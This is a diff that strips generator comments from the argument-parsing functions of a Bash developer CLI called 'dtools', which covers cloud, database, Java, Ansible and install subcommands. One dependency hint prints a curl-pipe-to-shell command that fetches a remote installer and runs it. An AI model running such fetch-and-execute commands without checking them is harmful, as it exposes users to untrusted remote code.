@@ dtools_gcp_artifacts_parse_requirements() { deps['gcloud']="$(command -v gcloud | head -n1)" fi - # :dependency.filter if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 @@ -18535,7 +16474,6 @@ dtools_gcp_artifacts_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -18555,7 +16493,6 @@ dtools_gcp_artifacts_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_gcp_artifacts_usage >&2 exit 1 @@ -18568,7 +16505,6 @@ dtools_gcp_artifacts_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18579,8 +16515,7 @@ dtools_gcp_artifacts_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -18591,11 +16526,9 @@ dtools_gcp_artifacts_parse_requirements() { } -# :command.parse_requirements dtools_gcp_artifacts_list_repositories_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18612,17 +16545,14 @@ dtools_gcp_artifacts_list_repositories_parse_requirements() { esac done - # :command.command_filter action="gcp artifacts list-repositories" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --project | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--project']="$2" shift @@ -18633,10 +16563,8 @@ dtools_gcp_artifacts_list_repositories_parse_requirements() { fi ;; - # :flag.case --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -18653,8 +16581,7 @@ dtools_gcp_artifacts_list_repositories_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -18663,16 +16590,13 @@ dtools_gcp_artifacts_list_repositories_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -18681,11 +16605,9 @@ dtools_gcp_artifacts_list_repositories_parse_requirements() { } -# :command.parse_requirements dtools_gcp_artifacts_list_images_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18702,17 +16624,14 @@ dtools_gcp_artifacts_list_images_parse_requirements() { esac done - # :command.command_filter action="gcp artifacts list-images" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --project | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--project']="$2" shift @@ -18723,10 +16642,8 @@ dtools_gcp_artifacts_list_images_parse_requirements() { fi ;; - # :flag.case --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -18737,10 +16654,8 @@ dtools_gcp_artifacts_list_images_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.case_no_arg args['--detailed']=1 shift ;; @@ -18751,9 +16666,7 @@ dtools_gcp_artifacts_list_images_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['repository_name']+x} ]]; then args['repository_name']=$1 shift @@ -18767,23 +16680,19 @@ dtools_gcp_artifacts_list_images_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['repository_name']+x} ]]; then printf "missing required argument: REPOSITORY_NAME\nusage: dtools gcp artifacts list-images REPOSITORY_NAME [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -18792,11 +16701,9 @@ dtools_gcp_artifacts_list_images_parse_requirements() { } -# :command.parse_requirements dtools_db_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18813,9 +16720,8 @@ dtools_db_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v harlequin >/dev/null 2>&1; then printf "missing dependency: harlequin\n" >&2 printf "%s\n\n" "Install with 'curl -LsSf https://astral.sh/uv/install.sh | sh'" >&2 @@ -18824,7 +16730,6 @@ dtools_db_parse_requirements() { deps['harlequin']="$(command -v harlequin | head -n1)" fi - # :dependency.filter if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 @@ -18833,7 +16738,6 @@ dtools_db_parse_requirements() { deps['docker']="$(command -v docker | head -n1)" fi - # :dependency.filter if ! command -v db2dbml >/dev/null 2>&1; then printf "missing dependency: db2dbml\n" >&2 printf "%s\n\n" "Install with 'npm install -g @dbml/cli'" >&2 @@ -18846,7 +16750,6 @@ dtools_db_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -18873,7 +16776,6 @@ dtools_db_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_db_usage >&2 exit 1 @@ -18886,7 +16788,6 @@ dtools_db_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18897,8 +16798,7 @@ dtools_db_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -18909,11 +16809,9 @@ dtools_db_parse_requirements() { } -# :command.parse_requirements dtools_db_postgres_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18930,16 +16828,14 @@ dtools_db_postgres_parse_requirements() { esac done - # :command.command_filter action="db postgres" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --dump) - # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump-to-dbml --schema; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 @@ -18947,15 +16843,12 @@ dtools_db_postgres_parse_requirements() { fi done - # :flag.case_no_arg args['--dump']=1 shift ;; - # :flag.case --persistent-dir-prefix) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift @@ -18966,9 +16859,8 @@ dtools_db_postgres_parse_requirements() { fi ;; - # :flag.case --dump-to-dbml) - # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 @@ -18976,20 +16868,17 @@ dtools_db_postgres_parse_requirements() { fi done - # :flag.case_no_arg args['--dump-to-dbml']=1 shift ;; - # :flag.case --schema | -s) - # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi - # :flag.case_arg if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--schema']+x} ]]; then @@ -19006,49 +16895,41 @@ dtools_db_postgres_parse_requirements() { fi ;; - # :flag.case --tui) - # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi - # :flag.case_no_arg args['--tui']=1 shift ;; - # :flag.case --persistent) - # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi - # :flag.case_no_arg args['--persistent']=1 shift ;; - # :flag.case --wipe-persistent-data) - # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi - # :flag.case_no_arg args['--wipe-persistent-data']=1 shift ;; - # :flag.case --database) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--database']="$2" shift @@ -19059,10 +16940,8 @@ dtools_db_postgres_parse_requirements() { fi ;; - # :flag.case --port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--port']="$2" shift @@ -19079,8 +16958,7 @@ dtools_db_postgres_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19089,8 +16967,6 @@ dtools_db_postgres_parse_requirements() { esac done - # :command.needy_flags_filter - # :flag.needs if [[ -n ${args['--schema']+x} ]]; then for need in --dump-to-dbml --database; do if [[ -z "${args[$need]:-}" ]]; then @@ -19100,17 +16976,14 @@ dtools_db_postgres_parse_requirements() { done fi - # :flag.needs if [[ -n ${args['--wipe-persistent-data']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--wipe-persistent-data needs --persistent" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--persistent-dir-prefix']:-} ]] || args['--persistent-dir-prefix']="default" [[ -n ${args['--port']:-} ]] || args['--port']="5432" - # :command.user_filter filter_error=$(filter_postgres_not_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -19119,11 +16992,9 @@ dtools_db_postgres_parse_requirements() { } -# :command.parse_requirements dtools_db_mysql_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19140,17 +17011,14 @@ dtools_db_mysql_parse_requirements() { esac done - # :command.command_filter action="db mysql" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --persistent-dir-prefix) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift @@ -19161,9 +17029,8 @@ dtools_db_mysql_parse_requirements() { fi ;; - # :flag.case --dump) - # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump-to-dbml; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 @@ -19171,14 +17038,12 @@ dtools_db_mysql_parse_requirements() { fi done - # :flag.case_no_arg args['--dump']=1 shift ;; - # :flag.case --dump-to-dbml) - # :flag.conflicts + for conflict in --tui --persistent --wipe-persistent-data --dump; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 @@ -19186,54 +17051,45 @@ dtools_db_mysql_parse_requirements() { fi done - # :flag.case_no_arg args['--dump-to-dbml']=1 shift ;; - # :flag.case --tui) - # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi - # :flag.case_no_arg args['--tui']=1 shift ;; - # :flag.case --persistent) - # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi - # :flag.case_no_arg args['--persistent']=1 shift ;; - # :flag.case --wipe-persistent-data) - # :flag.conflicts + if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi - # :flag.case_no_arg args['--wipe-persistent-data']=1 shift ;; - # :flag.case --database) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--database']="$2" shift @@ -19244,10 +17100,8 @@ dtools_db_mysql_parse_requirements() { fi ;; - # :flag.case --port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--port']="$2" shift @@ -19264,8 +17118,7 @@ dtools_db_mysql_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19274,18 +17127,14 @@ dtools_db_mysql_parse_requirements() { esac done - # :command.needy_flags_filter - # :flag.needs if [[ -n ${args['--wipe-persistent-data']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--wipe-persistent-data needs --persistent" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--persistent-dir-prefix']:-} ]] || args['--persistent-dir-prefix']="default" [[ -n ${args['--port']:-} ]] || args['--port']="3306" - # :command.user_filter filter_error=$(filter_mysql_not_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -19294,11 +17143,9 @@ dtools_db_mysql_parse_requirements() { } -# :command.parse_requirements dtools_db_bigquery_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19315,17 +17162,14 @@ dtools_db_bigquery_parse_requirements() { esac done - # :command.command_filter action="db bigquery" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --project | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--project']="$2" shift @@ -19336,10 +17180,8 @@ dtools_db_bigquery_parse_requirements() { fi ;; - # :flag.case --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -19356,8 +17198,7 @@ dtools_db_bigquery_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19366,13 +17207,11 @@ dtools_db_bigquery_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--project']+x} ]]; then printf "missing required flag: --project, -p PROJECT\n" >&2 exit 1 fi - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 @@ -19380,11 +17219,9 @@ dtools_db_bigquery_parse_requirements() { } -# :command.parse_requirements dtools_elastic_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19401,9 +17238,8 @@ dtools_elastic_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 @@ -19412,7 +17248,6 @@ dtools_elastic_parse_requirements() { deps['docker']="$(command -v docker | head -n1)" fi - # :dependency.filter if ! command -v docker-compose >/dev/null 2>&1; then printf "missing dependency: docker-compose\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 @@ -19421,7 +17256,6 @@ dtools_elastic_parse_requirements() { deps['docker-compose']="$(command -v docker-compose | head -n1)" fi - # :dependency.filter if ! command -v git >/dev/null 2>&1; then printf "missing dependency: git\n" >&2 printf "%s\n\n" "Install with 'brew install git'" >&2 @@ -19434,7 +17268,6 @@ dtools_elastic_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -19461,7 +17294,6 @@ dtools_elastic_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_elastic_usage >&2 exit 1 @@ -19474,7 +17306,6 @@ dtools_elastic_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19485,8 +17316,7 @@ dtools_elastic_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19497,11 +17327,9 @@ dtools_elastic_parse_requirements() { } -# :command.parse_requirements dtools_elastic_init_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19518,10 +17346,8 @@ dtools_elastic_init_parse_requirements() { esac done - # :command.command_filter action="elastic init" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19532,8 +17358,7 @@ dtools_elastic_init_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19544,11 +17369,9 @@ dtools_elastic_init_parse_requirements() { } -# :command.parse_requirements dtools_elastic_start_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19565,10 +17388,8 @@ dtools_elastic_start_parse_requirements() { esac done - # :command.command_filter action="elastic start" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19579,8 +17400,7 @@ dtools_elastic_start_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19591,11 +17411,9 @@ dtools_elastic_start_parse_requirements() { } -# :command.parse_requirements dtools_elastic_stop_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19612,10 +17430,8 @@ dtools_elastic_stop_parse_requirements() { esac done - # :command.command_filter action="elastic stop" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19626,8 +17442,7 @@ dtools_elastic_stop_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19638,11 +17453,9 @@ dtools_elastic_stop_parse_requirements() { } -# :command.parse_requirements dtools_java_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19659,9 +17472,8 @@ dtools_java_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v java >/dev/null 2>&1; then printf "missing dependency: java\n" >&2 printf "%s\n\n" "Install with 'dtools install java'" >&2 @@ -19674,7 +17486,6 @@ dtools_java_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -19694,7 +17505,6 @@ dtools_java_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_java_usage >&2 exit 1 @@ -19707,7 +17517,6 @@ dtools_java_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19718,8 +17527,7 @@ dtools_java_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19730,11 +17538,9 @@ dtools_java_parse_requirements() { } -# :command.parse_requirements dtools_java_set_version_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19751,10 +17557,8 @@ dtools_java_set_version_parse_requirements() { esac done - # :command.command_filter action="java set-version" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19765,9 +17569,7 @@ dtools_java_set_version_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['version']+x} ]]; then args['version']=$1 shift @@ -19781,14 +17583,12 @@ dtools_java_set_version_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['version']+x} ]]; then printf "missing required argument: VERSION\nusage: dtools java set-version VERSION\n" >&2 exit 1 fi - # :command.whitelist_filter if [[ -n ${args['version']:-} ]] && [[ ! ${args['version']:-} =~ ^(8|11|17|21)$ ]]; then printf "%s\n" "version must be one of: 8, 11, 17, 21" >&2 exit 1 @@ -19796,11 +17596,9 @@ dtools_java_set_version_parse_requirements() { } -# :command.parse_requirements dtools_java_analyze_with_sonar_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19817,17 +17615,14 @@ dtools_java_analyze_with_sonar_parse_requirements() { esac done - # :command.command_filter action="java analyze-with-sonar" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --sonar-url | -u) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--sonar-url']="$2" shift @@ -19838,10 +17633,8 @@ dtools_java_analyze_with_sonar_parse_requirements() { fi ;; - # :flag.case --sonar-login | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--sonar-login']="$2" shift @@ -19852,10 +17645,8 @@ dtools_java_analyze_with_sonar_parse_requirements() { fi ;; - # :flag.case --sonar-project-key | -k) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--sonar-project-key']="$2" shift @@ -19872,8 +17663,7 @@ dtools_java_analyze_with_sonar_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19882,7 +17672,6 @@ dtools_java_analyze_with_sonar_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--sonar-url']+x} ]]; then printf "missing required flag: --sonar-url, -u SONAR_URL\n" >&2 exit 1 @@ -19896,7 +17685,6 @@ dtools_java_analyze_with_sonar_parse_requirements() { exit 1 fi - # :command.user_filter filter_error=$(filter_maven_or_gradle_installed) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -19905,11 +17693,9 @@ dtools_java_analyze_with_sonar_parse_requirements() { } -# :command.parse_requirements dtools_ansible_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19926,9 +17712,8 @@ dtools_ansible_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ansible >/dev/null 2>&1; then printf "missing dependency: ansible\n" >&2 printf "%s\n\n" "Install with 'dtools install ansible'" >&2 @@ -19941,7 +17726,6 @@ dtools_ansible_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -19961,7 +17745,6 @@ dtools_ansible_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_ansible_usage >&2 exit 1 @@ -19974,7 +17757,6 @@ dtools_ansible_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -19985,8 +17767,7 @@ dtools_ansible_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -19997,11 +17778,9 @@ dtools_ansible_parse_requirements() { } -# :command.parse_requirements dtools_ansible_encrypt_string_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20018,17 +17797,14 @@ dtools_ansible_encrypt_string_parse_requirements() { esac done - # :command.command_filter action="ansible encrypt-string" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --copy-output-to-clipboard | -c) - # :flag.case_no_arg args['--copy-output-to-clipboard']=1 shift ;; @@ -20039,8 +17815,7 @@ dtools_ansible_encrypt_string_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20051,11 +17826,9 @@ dtools_ansible_encrypt_string_parse_requirements() { } -# :command.parse_requirements dtools_ansible_decrypt_variable_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20072,17 +17845,14 @@ dtools_ansible_decrypt_variable_parse_requirements() { esac done - # :command.command_filter action="ansible decrypt-variable" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --variable | -v) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--variable']="$2" shift @@ -20093,10 +17863,8 @@ dtools_ansible_decrypt_variable_parse_requirements() { fi ;; - # :flag.case --file | -f) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--file']="$2" shift @@ -20113,8 +17881,7 @@ dtools_ansible_decrypt_variable_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20123,7 +17890,6 @@ dtools_ansible_decrypt_variable_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--variable']+x} ]]; then printf "missing required flag: --variable, -v VARIABLE\n" >&2 exit 1 @@ -20135,11 +17901,9 @@ dtools_ansible_decrypt_variable_parse_requirements() { } -# :command.parse_requirements dtools_install_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20156,7 +17920,6 @@ dtools_install_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -20183,7 +17946,6 @@ dtools_install_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_install_usage >&2 exit 1 @@ -20196,7 +17958,6 @@ dtools_install_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20207,8 +17968,7 @@ dtools_install_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20219,11 +17979,9 @@ dtools_install_parse_requirements() { } -# :command.parse_requirements dtools_install_docker_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20240,10 +17998,8 @@ dtools_install_docker_parse_requirements() { esac done - # :command.command_filter action="install docker" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20254,8 +18010,7 @@ dtools_install_docker_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20264,7 +18019,6 @@ dtools_install_docker_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -20273,11 +18027,9 @@ dtools_install_docker_parse_requirements() { } -# :command.parse_requirements dtools_install_ansible_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20294,10 +18046,8 @@ dtools_install_ansible_parse_requirements() { esac done - # :command.command_filter action="install ansible" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20308,8 +18058,7 @@ dtools_install_ansible_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20320,11 +18069,9 @@ dtools_install_ansible_parse_requirements() { } -# :command.parse_requirements dtools_install_java_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case 